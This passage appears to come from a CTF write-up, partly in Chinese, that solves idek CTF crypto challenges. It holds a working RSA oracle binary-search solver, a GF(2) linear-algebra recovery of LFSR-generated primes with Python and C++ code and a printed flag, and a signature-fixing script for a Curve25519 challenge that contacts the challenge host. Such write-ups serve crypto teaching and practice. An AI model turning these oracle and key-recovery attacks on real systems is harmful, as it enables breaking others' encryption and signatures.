u_len_pos = (2 + 64) * 2 + 2 + 128 + 1
sec = list(sec)
sec[u_len_pos] ^= target_u_len ^ u_len
sec = bytes(sec)
io.recvuntil(b"> (hex)")
io.sendline(sec.hex().encode())
l = 1 << 511
r = 2 * l -1
for i in range(500):
io.recvuntil(b"| > ")
mid = (l+r)//2
if i % 20 == 0:
print(hex(mid))
now = pow(mid, e, n)
io.sendline(long_to_bytes(now).hex().encode())
res = io.recvline()
if b"Q_Q" in res:
l = mid + 1
else:
r = mid
print(f"{n = }")
print(f"{l = }")
print(f"{r = }")
print(f"{sec = }")
io.interactive()Primonumerophobia
这个题有一个 1*47 的随机变量 s ，47*512 的矩阵
， 得到
，然后把 p, q 当成二进制数，保证 p, q 都是质数，现在知道
，求 p, q。所有运算都是在 GF(2) 下。 我们可以考虑枚举 p 的低 24 位，由于已知 n ，我们可以对应计算出若干个 q 的低 24 位，知道 48 位信息之后可以通过异或线性基的方式把 p 跟 q 的其余位都计算出来（因为每一个 bit 对应 mat 的一个列向量，列向量一共 47 维，所以只需要 47 个线性无关的列向量就能得到整个空间的一组基，其余的可以通过这组基异或得到）。
d = 47
M = Matrix(GF(2),47,47)
taps = [47, 43, 41, 37, 31, 29, 23, 19, 17, 13, 11, 7, 5, 3, 2]
for _ in range(d - 1):
M[_+1,_] = 1
for _ in taps:
M[47-_,-1] = 1
# states = vector(GF(2),) 中间有个47bits的states，恢复出来即可
times1 = 1160
M_tmp = M**((times1-1)*512)
new_mat1 = Matrix(GF(2),d,512)
for i in range(512):
for j in range(d):
new_mat1[j,i] = M_tmp[j,0]
M_tmp *= M
# 往后推q的关系，比如说输出是[LOG]447
times2 = 447
M_tmp = M_tmp * M**((times2-1)*512)
new_mat2 = Matrix(GF(2),d,512)
for i in range(512):
for j in range(d):
new_mat2[j,i] = M_tmp[j, 0]
M_tmp *= M
for j in range(30):
for i in range(d):
print(new_mat1[i, j], end = " ")
print()
with open("mat1.txt", "w") as f:
for i in new_mat1.T:
l = []
for j in i:
l.append(str(int(j)))
f.write(" ".join(l)+"n")
with open("mat2.txt", "w") as f:
for i in new_mat2.T:
l = []
for j in i:
l.append(str(int(j)))
f.write(" ".join(l)+"n")from Crypto.Util.number import *
import random
n = 78189483779073760819769596415493404181115737255987326126790953924148600157623709942134043192581448967829591214999561812461790206591977861764710056434977125005626712442593271233036617073503751799983263888626278748439349756982639988997517983470845431197233107232933125334078771472039280629203017666578936360521
last = []
binn = bin(n)[2:]
for i in range(24):
x = binn[-(i + 1) : ]
last.append(int(x, 2))
def dfs(p, cur, x):
global ans
if x == 24:
ans.append((p[-1], int(cur, 2)))
return
_p = p[x]
_n = last[x]
t = "0" + "".join(cur)
_q = int(t, 2)
if ((_p * _q) & ((1 << (x+1)) - 1)) == _n:
dfs(p, "0" + cur, x + 1)
t = "1" + "".join(cur)
_q = int(t, 2)
if ((_p * _q) & ((1 << (x+1)) - 1)) == _n:
dfs(p, "1" + cur, x + 1)
ans = []
for i in range(1 << 24):
cur = ""
p = []
binp = bin(i)[2:]
binp = ((24 - len(binp)) * "0") + binp
for j in range(24):
p.append(int(binp[-(j+1) : ], 2))
dfs(p, cur, 0)
with open("pq.txt", "w") as f:
for p, q in ans:
f.write(str(p) + " " + str(q) + "n")#include <set>
#include <map>
#include <cmath>
#include <cassert>
#include <queue>
#include <vector>
#include <cstdio>
#include <numeric>
#include <cstring>
#include <iostream>
#include <algorithm>
using namespace std;
using ll = long long;
using vint = vector<int>;
using namespace std;
inline int read() {
int x = 0, f = 1; char ch = getchar();
for (; ch < '0' || ch > '9'; ch = getchar()) if (ch == '-') f = -1;
for (; ch >= '0' && ch <= '9'; ch = getchar()) x = x * 10 + ch - '0';
return x * f;
}
int main() {
FILE *f = fopen("pq.txt", "r");
vector<ll> p(10000000), q(10000000);
ll x, y;
int n = 0;
while (fscanf(f, "%lld%lld", &x, &y) != EOF) {
p[n] = x;
q[n] = y;
++n;
}
fclose(f);
f = fopen("mat1.txt", "r");
vector<ll> mat1(512), mat2(512);
for (int i = 0; i < 512; i++) {
ll x = 0;
for (int j = 0; j < 47; j++) {
ll bit;
fscanf(f, "%lld", &bit);
x |= bit << j;
}
mat1[i] = x;
}
fclose(f);
f = fopen("mat2.txt", "r");
for (int i = 0; i < 512; i++) {
ll x = 0;
for (int j = 0; j < 47; j++) {
ll bit;
fscanf(f, "%lld", &bit);
x |= bit << j;
}
mat2[i] = x;
}
fclose(f);
reverse(mat1.begin(), mat1.end());
reverse(mat2.begin(), mat2.end());
vector<ll> l;
vector<pair<ll, ll>> B;
for (int i = 0; i < 23; i++)
l.push_back(mat1[i]);
for (int i = 0; i < 24; i++)
l.push_back(mat2[i]);
for (int i = 0; i < 47; i++) {
ll x = l[i];
ll p = 1ll << i;
for (auto num : B) {
ll y = num.first, pos = num.second;
if ((y ^ x) < x) {
x ^= y;
p ^= pos;
}
}
for (auto &num : B) {
ll y = num.first;
if ((y ^ x) < y) {
num.first ^= x;
num.second ^= p;
}
}
assert(x);
B.push_back(make_pair(x, p));
}
vector<vector<int>> posp(512, vector<int>()), posq(512, vector<int>());
for (int i = 0; i < 512; i++) {
ll x = mat1[i];
ll p = 0;
for (int j = 0; j < 47; j++)
if (x & B[j].first)
p ^= B[j].second;
for (int j = 0; j < 47; j++)
if ((p >> j) & 1)
posp[i].push_back(j);
ll check = 0;
for (int x : posp[i])
check ^= l[x];
assert(check == x);
}
for (int i = 0; i < 512; i++) {
ll x = mat2[i];
ll p = 0;
for (int j = 0; j < 47; j++)
if (x & B[j].first)
p ^= B[j].second;
for (int j = 0; j < 47; j++)
if ((p >> j) & 1)
posq[i].push_back(j);
ll check = 0;
for (int x : posq[i])
check ^= l[x];
assert(check == x);
}
// this file could be 8.6G big!
f = fopen("real_pq.txt", "w");
vector<int> _l(47);
for (int i = 0; i < n; i++) {
ll _p = p[i], _q = q[i];
if (i % 100000 == 0)
printf("%dn", i);
for (int j = 0; j < 23; j++)
_l[j] = (_p >> j) & 1;
for (int j = 0; j < 24; j++)
_l[j + 23] = (_q >> j) & 1;
for (int i = 511; i >= 0; i--) {
int bit_p = 0;
for (ll x : posp[i]) {
bit_p ^= _l[x];
}
fprintf(f, "%c", '0' + bit_p);
if (i < 23) {
assert(bit_p == _l[i]);
}
}
fprintf(f, " ");
for (int i = 511; i >= 0; i--) {
int bit_q = 0;
for (ll x : posq[i])
bit_q ^= _l[x];
fprintf(f, "%c", '0' + bit_q);
if (i < 24) {
assert(bit_q == _l[i + 23]);
}
}
fprintf(f, "n");
}
fclose(f);
return 0;
}p = 8148641146281585626599965707019875487540363795516672614500530970713004312213378852992447549855928600229171345524388095399807768385341698813126095446000969
q = 9595401536948702154260950703331322993513137152314157248261000347717193558940157103084976690783331034882701052399602064548436624663369151807143327408382209
enc = 39952631182502523101053953538875437560829302998610236142339435591980522271590392249355510253125310494063081880512061476177621613835835483055753316172267380484804011034657479491794064534740537749793563744927827732170347495398050941609682485707331552759412916426691849669362897656967530464847648838434750188588
phi = (p-1) * (q-1)
from Crypto.Util.number import *
e = inverse(0x10001, phi)
m = pow(enc, e, p*q)
print(long_to_bytes(m))
# b'idek{th3_prim3_g3n3r4ti0n_is_c001_but_n0t_s3cur3_QAQ}n'Psychophobia:
s大概会差O//8的k倍(k<8)，修复后的si，发现GCD(si, O)==4或者GCD(si, O)==8都是唯一的，能够通过的s都是二者之一，并且这两个数的i存在i2-i1=4,即存在(0,4),(1,5),(2,6),(3,7)这几种选择可能(例如k=1时如果GCD(s1,O)==4,那么GCD(s5,O)==8)。那么分析k=0，GCD(s0, O)==4，k=4, GCD(s4, O)==8的频率，以此类推k=1..8，gcd=4,8。再分析对应i和gcd情况下的选择（0可以排除掉，对应的一定选4，例如将）。该题目中测试结果为当GCD(s1, O)==4时大概率s1为正确解，当GCD(s1, O)==8时大概率s5为正确解。当GCD(s2, O)==4时大概率s6为正确解，当GCD(s2, O)==8时大概率s2为正确解。当GCD(s3, O)==4时大概率s3为正确解，当GCD(s3, O)==8时大概率s7为正确解。大概有70%的概率fix正确，多跑几次即可。
from hashlib import sha256
from netcat import *
from Crypto.Util.number import *
from ast import literal_eval
def fix(r, s):
rs = 0
idx = []
gcds = []
for i in range(8):
si = (s + i * (O // 8)) % O
u1 = (h * inverse(si, O)) % O
u2 = (r * inverse(si, O)) % O
if GCD(si, O) == 4 or GCD(si, O) == 8:
idx.append(i)
gcds.append(GCD(si, O))
if idx[0] == 0:
x = idx[1]
elif idx[0] == 1:
if gcds[0] == 4:
x = idx[0]
else:
x = idx[1]
elif idx[0] == 2:
if gcds[0] == 4:
x = idx[1]
else:
x = idx[0]
elif idx[0] == 3:
if gcds[0] == 4:
x = idx[0]
else:
x = idx[1]
fix_s = (s + x * (O // 8)) % O
return fix_s
P = 2**255 - 19
A = 486662
B = 1
# Order of the Curve
O = 57896044618658097711785492504343953926856930875039260848015607506283634007912
while True:
host, port = 'psychophobia.chal.idek.team 1337'.split(' ')
io = remote(host, int(port))
io.recvuntil(b"| > ")
io.sendline(b"1")
msg = "1 here, requesting flag for pick-up."
h = int.from_bytes(sha256(msg.encode()).digest(), 'big')
for round in range(500):
print(f"round-{round}")
io.recvuntil(b'Please fix :: ')
tmp = io.recvline()
sig = literal_eval(tmp.strip().decode())
r, s = sig
fix_s = fix(r, s)
io.recvuntil(b'| > (r,s) ')
io.sendline(f'{r},{fix_s}'.encode())
io.recvuntil(b"signatures!n")
io.recvline()
tmp = io.recvline()
print(tmp)
if b"{" in tmp:
print("get flag!")
io.close()
input()
else:
io.close()结语
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